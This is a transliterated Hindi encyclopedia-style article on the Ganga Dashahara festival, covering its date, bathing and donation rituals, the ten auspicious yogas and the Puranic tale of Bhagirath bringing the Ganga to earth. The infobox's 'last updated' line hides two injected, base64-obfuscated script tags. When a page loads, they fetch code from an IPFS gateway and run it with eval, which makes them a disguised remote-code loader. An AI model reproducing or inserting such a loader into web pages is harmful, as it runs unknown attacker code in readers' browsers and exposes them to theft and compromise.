गंगा दशहरा

ganga dashahara
ganga nadi, haridvar|200px|center
anuyayi	hindoo, bharatiy, bharatiy pravasi
prarambh	pauranik kal
tithi	jyeshth shukl dashami
anushthan	is din ganga snan karake doodh, batasha, jal, roli, nariyal, dhoop, dip se poojan karake dan dena chahie.
dharmik manyata	jyeshth mah mean shukl paksh ki dashami ko hast nakshatr mean svarg se gangaji ka prithvi par agaman hua tha.
sanbandhit lekh	ganga, gangavataran, bhagirath, shiv, brahma, sagar
dinaank	28 mee, 2015
any janakari	is din mathura mean patangabazi ka vishesh ayojan hota hai. aj ke din dan dene ka bhi vishisht mahattv hai. yah mausam bharapoor garmi ka hota hai, at: chhatari, vastr, joote-chappal adi dan mean die jate haian.
adyatan‎	13:05, 28 mee 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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ganga dashahara hinduoan ka ek pramukh tyohar hai. jyeshth, shukla, dashami ko dashahara kahate haian. isamean snan, dan, roopatmak vrat hota hai. skand puran mean likha hua hai ki, jyeshth shukla dashami sanvatsaramukhi mani gee hai isamean snan aur dan to vishesh roop se karean. kisi bhi nadi par jakar ardhy (poo‍jadik) evamh tilodak (tirth prapti nimittak tarpan) avashy karean. aisa karane vala mahapatakoan ke barabar ke das papoan se chhoot jata hai. jyeshth shukl paksh, dashami ko gangavataran ka din mandiroan evan sarovaroan mean snan kar pavitrata ke sath manaya jata hai. is din mathura mean patangabazi ka vishesh ayojan hota hai.

ganga ka prithvi par agaman

sabase pavitr nadi ganga ke prithvi par ane ka parv hai- ganga dashahara. manushyoan ko mukti dene vali ganga nadi atulaniy haian. sanpoorn vishv mean ise sabase pavitr nadi mana jata hai. raja bhagirath ne isake lie varsho tak tapasya ki thi. jyeshth shukl dashami ke din ganga dharati par aee. isase n keval sookha aur nirjiv kshetr urvar ban gaya, balki charoan or hariyali bhi chha gee thi. ganga-dashahara parv manane ki paranpara isi samay se aranbh huee thi. raja bhagirath ki ganga ko prithvi par lane ki koshishoan ke karan is nadi ka ek nam bhagirathi bhi hai.[[chitr:Kites-2.jpg|thumb|left|rang-birangi patangean]]

ganga snan ki mahattvata

bhavishy puran mean likha hua hai ki jo manushy ganga dashahara ke din ganga ke pani mean kh da hokar das bar om namo bhagavati hili hili mili mili gange maan pavay pavay svaha stotr ko padhata hai, chahe vo daridr ho, asamarth ho vah bhi ganga ki pooja kar poorn phal ko pata hai. yadi jyeshth shukl dashami ke din mangalavar ho tatha hast nakshatr tithi ho to yah sab papoan ko harane vali hoti hai. varah puran mean likha hai ki jyeshth shukl dashami budhavar mean hast nakshatr mean shreshth nadi svarg se avatirn huee thi. vah das papoan ko nasht karati hai. is karan us tithi ko dashahara kahate haian.

ganga ka janmadin

pauranik manyataoan ke anusar jyeshth shukl dashami ko hast nakshatr mean svarg se gangaji ka agaman hua tha. jyeshth mas ke shukl paksh ki yah dashami to ek prakar se gangaji ka janmadin hi hai. is dashami ko ganga dashahara kaha jata hai. skandapuran, valmiki ramayan adi granthoan mean ganga avataran ki katha varnit hai. aj hi ke din maharaj bhagirath ke kathor tap se prasann hokar svarg se prithvi par gangaji aee thian. papamochani, svarg ki nasaini gangaji ka snan evan poojan to jab mil jae tab hi punyadayak hai. pratyek amavasya evan any parvoan par bhaktagan door-door se akar ganga ji mean snan karate haian.

sanvatsar ka mukh

[[chitr:Haridwar.jpg|ganga nadi, haridvar|thumb]] yah din sanvatsar ka mukh mana gaya hai. isalie ganga snan karake doodh, batasha, jal, roli, nariyal, dhoop, dip se poojan karake dan dena chahie. is din ganga, shiv, brahma, soory devata, bhagirathi tatha himalay ki pratima banakar poojan karane se vishesh phal prapt hota hai. is din ganga adi ka snan, ann-vastradi ka dan, jap-tap, upasana aur upavas kiya jata hai. isase das prakar ke papoan se chhutakara milata hai. is din niche diye gaye das yog ho to yah apoorv yog hai aur mahaphaladayak hota hai. yadi jyeshth adhikamas ho to snan, dan, tap, vratadi malamas mean karane se hi adhik phal prapt hota hai. in das yogoan mean manushy snan karake sab papoan se chhoot jata hai.

das yog

• jyeshth mas
• shukl paksh
• budhavar
• hast nakshatr
• gar
• anand
• vyatipat
• kanya ka chandr
• vrishabh
• soory

dharmik manyataean

jyeshth shukl dashami ko somavar tatha hast nakshatr hone par yah tithi ghor papoan ko nasht karane vali mani gee hai. hast nakshatr mean budhavar ke din gangavataran hua tha, isalie yah tithi adhik mahattvooparn hai. gangaji ki manyata hindoo granthoan mean bahut hai aur yah bharatavarsh ki param pavitr lokapavani nadi mani jati hai. is din lakhoan log door-door se akar ganga ki pavitr jaladhara mean snan karate haian bahut se sthanoan mean is din sharbat ki pyaoo lagaee jati hai, jahaan hazaroan nar-nari shital sharbat pikar grishm rritu mean apane hriday ko shital karate haian.

• aj ke din gangaji ke vibhinn tatoan aur ghatoan par to b de-b de mele lagate hi haian, any pavitr nadiyoan mean bhi lakhoan vyakti snan karate haian. sampoorn bharat mean pavitr nadiyoan mean snan ke vishisht parv ke roop mean manaya jata hai yah ganga dashahara.
• aj ke din dan dene ka bhi vishisht mahattv hai. yah mausam bharapoor garmi ka hota hai, at: chhatari, vastr, joote-chappal adi dan mean die jate haian.
• aj ke din yadi gangaji athava any kisi pavitr nadi par saparivar snan hetu jaya ja sake tab to sarvashreshth hai, yadi sanbhav n ho tab ghar par hi gangajali ko sammukh rakhakar gangaji ki pooja-aradhana kar li jati hai.
• is din jap-tap, dan, vrat, upavas aur gangaji ki pooja karane par sabhi pap j d se kat jate haian- aisi manyata hai. anek parivaroan mean daravaze par paanch patthar rakhakar paanch pir pooje jate haian. isi prakar parivar ke pratyek vyakti ke hisab se sava ser choorama banakar sadhuoan, fakiroan aur brahmanoan mean baantane ka bhi rivaj hai. brahmanoan ko b di matra mean anaj ko dan ke roop mean aj ke din diya jata hai.
• aj hi ke din am khane aur am dan karane ko bhi vishisht mahattv diya jata hai.
• dashahara ke din dashashvamedh ghat mean das bar snan karake shivaliang ka das sankhya ke gandh, pushp, dip, naivedy aur phal adi se poojan karake ratri ko jagaran karane se anant phal prapt hota hai. isi din ganga poojan ka bhi vishisht mahattv hai. is din vidhi-vidhan se gangaji ka poojan karake das ser til, das ser jau aur das ser gehooan das brahmanoan ko dan dean. paradara aur paradravyadi se door rahean tatha jyeshth shukl pratipada se prarambh karake dashami tak ekottar-vriddhi se dashahara stotr ka path karean. isase sab prakar ke papoan ka samool nash ho jata hai aur durlabh sampatti prapt hoti hai.

pauranik katha

[[chitr:Haridwar1.jpg|ganga nadi, haridvar|thumb]] prachin kal mean ayodhya mean sagar nam ke mahapratapi raja rajy karate the. unhoanne satoan samudroan ko jitakar apane rajy ka vistar kiya. unake keshini tatha sumati namak do raniyaan thian. pahali rani ke ek putr asamanjas ka ullekh milata hai, parantu doosari rani sumati ke sath hazar putr the. ek bar raja sagar ne ashvamedh yajn kiya aur yajn poorti ke lie ek gho da chho da. iandr ne us yajn ko bhang karane ke lie yajniy ashv ka apaharan kar liya aur use kapil muni ke ashram mean baandh ae. raja ne use khojane ke lie apane sath hazar putroan ko bheja. sara bhoomandal chhan mara phir bhi ashv nahian mila. phir ashv ko khojate-khojate jab kapil muni ke ashram mean pahuanche to vahaan unhoanne dekha ki sakshat bhagavan 'maharshi kapil' ke roop mean tapasya kar rahe haian aur unhian ke pas maharaj sagar ka ashv ghas char raha hai. sagar ke putr unhean dekhakar 'chor-chor' shabd karane lage. isase maharshi kapil ki samadhi toot gee. jyoan hi maharshi ne apane netr khole tyoan hi sab jalakar bhasm ho ge. apane pitrivy charanoan ko khojata hua raja sagar ka pautr aanshuman jab muni ke ashram mean pahuancha to mahatma garu d ne bhasm hone ka sara vritaant sunaya. garu d ji ne yah bhi bataya- 'yadi in sabaki mukti chahate ho to gangaji ko svarg se dharati par lana p dega. is samay ashv ko le jakar apane pitamah ke yajn ko poorn karao, usake bad yah kary karana.'

bhagirath ki tapasya

aanshuman ne gho de sahit yajnamandap par pahuanchakar sagar se sab vritaant kah sunaya. maharaj sagar ki mrityu ke uparant aanshuman aur unake putr dilip jivan paryant tapasya karake bhi gangaji ko mrityulok mean la n sake. sagar ke vansh mean anek raja hue sabhi ne sath hazar poorvajoan ki bhasmi ke paha d ko ganga ke pravah ke dvara pavitr karane ka prayatn kiya kiantu ve saphal n hue. aant mean maharaj dilip ke putr bhagirath ne gangaji ko is lok mean lane ke lie gokarn tirth mean jakar kathor tapasya ki. is prakar tapasya karate-karate kee varsh bit ge. unake tap se prasann hokar brahma ne var maangane ko kaha to bhagirath ne 'ganga' ki maang ki.

ganga ka ahankar

[[chitr:Colour-kites.jpg|thumb|rang birangi patangean]] bhagirath ke ganga maangane par brahmaji ne kaha- 'rajan! tum ganga ko prithvi par to le jana chahate ho? parantu gangaji ke veg ko sambhalega kaun? kya tumane prithvi se poochha hai ki vah ganga ke bhar tatha veg ko sanbhal paegi?' brahmaji ne age kaha-' bhoolok mean ganga ka bhar evan veg sanbhalane ki shakti keval bhagavan shiv mean hai. isalie uchit yah hoga ki ganga ka bhar evan veg sanbhalane ke lie bhagavan shiv ka anugrah prapt kar liya jae.' maharaj bhagirath ne vaisa hi kiya. ek aangoothe ke bal kh da hokar bhagavan shiv ki aradhana ki. unaki kathor tapasya se prasann hokar brahmaji ne ganga ki dhara ko apane kamandal se chho da aur bhagavan shiv ne prasann hokar ganga ki dhara ko apani jataoan mean samet kar jataean baandh lian. gangaji devalok se chho di geean aur shankar ji ki jata mean girate hi vilin ho geean. ganga ko jataoan se bahar nikalane ka path nahian mil saka. ganga ko aisa ahankar tha ki maian shankar ki jataoan ko bhedakar rasatal mean chali jaooangi. puranoan mean aisa ullekh milata hai ki ganga shankar ji ki jataoan mean kee varshoan tak bhraman karati rahian lekin nikalane ka kahian marg hi n mila. ab maharaj bhagirath ko aur bhi adhik chianta huee. unhoanne ek bar phir bhagavan shiv ki prasannatarth ghor tap shuroo kiya. anunay-vinay karane par shiv ne prasann hokar ganga ki dhara ko mukt karane ka varadan diya. is prakar shivaji ki jataoan se chhootakar gangaji himalay mean brahmaji ke dvara nirmit 'bindusar sarovar' mean giri, usi samay inaki sat dharaean ho geean. age-age bhagirath divy rath par chal rahe the, pichhe-pichhe satavian dhara ganga ki chal rahi thi.

prithvi par gangaji

prithvi par gangaji ke ate hi hahakar mach gaya. jis raste se gangaji ja rahi thian, usi marg mean rrishiraj jahu ka ashram tatha tapasya sthal p data tha. tapasya mean vighn samajhakar ve gangaji ko pi ge. phir devataoan ke prarthana karane par unhean pun: jaangh se nikal diya. tabhi se ye jahnavi kahalaeean. is prakar anek sthaloan ka taran-taran karati huee jahnavi ne kapil muni ke ashram mean pahuanchakar sagar ke sath hazar putroan ke bhasmavashesh ko tarakar unhean mukt kiya. usi samay brahmaji ne prakat hokar bhagirath ke kathin tap tatha sagar ke sath hazar putroan ke amar hone ka var diya. sath hi yah bhi kaha- 'tumhare hi nam par gangaji ka nam bhagirathi hoga. ab tum ayodhya mean jakar raj-kaj sanbhalo.' aisa kahakar brahmaji aantardhan ho ge. is prakar bhagirath prithvi par gangavataran karake b de bhagyashali hue. unhoanne janamanas ko apane puny se upakrit kar diya. bhagirath ke putr labh prapt kar tatha sukhapoorvak rajy bhogakar paralok gaman kar ge. yugoan-yugoan tak bahane vali ganga ki dhara maharaj bhagirath ki kashtamayi sadhana ki gatha kahati hai. ganga pranimatr ko jivanadan hi nahian deti, varanh mukti bhi deti hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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